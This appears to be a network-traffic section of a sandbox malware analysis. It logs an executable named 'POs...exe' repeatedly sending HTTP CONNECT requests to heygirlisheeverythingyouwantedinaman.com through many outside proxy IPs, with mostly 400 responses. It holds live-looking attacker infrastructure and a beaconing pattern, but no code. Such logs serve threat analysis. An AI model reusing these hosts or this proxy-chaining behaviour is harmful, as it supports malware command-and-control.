Mar 11, 2024 16:42:24.409953117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.949384928 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.11	53066	72.195.34.42	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.415777922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.11	51904	162.214.225.223	43435	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.421286106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475337982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.535257101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.602377892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.610356092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.11	53825	161.97.163.52	29631	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.426152945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.141946077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.142241001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.235758066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.142138958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.11	53789	103.120.6.46	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.427911043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.11	53872	35.190.107.16	30000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.437119007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.11	53835	157.185.173.217	26589	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.439963102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.329227924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.11	53815	103.231.78.36	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.448254108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.837213039 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 15:25:17 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.11	53877	104.19.79.238	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.451549053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.605834961 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.11	53481	72.49.49.11	31034	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.451553106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.11	53878	172.67.181.51	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.451776028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.605986118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.11	53775	103.190.54.141	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.452486038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.11	53885	172.67.181.144	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.453180075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.607708931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.11	51942	161.97.163.52	1798	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.454873085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475485086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.535259962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.602381945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.612678051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.655450106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.657174110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.11	51930	51.75.126.150	11802	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.454900980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475574017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.535259008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.11	51900	51.75.126.150	19693	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.455611944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475533009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.11	53795	175.183.82.221	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.479294062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.11	51958	43.129.228.46	7891	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.481770039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.11	53851	60.190.68.154	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.488872051 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:24.859263897 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.11	53868	184.185.2.12	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.501504898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.11	53336	80.78.64.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.506794930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.11	53900	5.161.231.34	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.520306110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.173172951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.392280102 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.11	52145	103.97.179.115	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.534944057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.11	53854	203.112.134.74	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.535375118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.11	52097	139.255.86.226	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.540901899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.11	53870	47.56.110.204	8989	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.546243906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
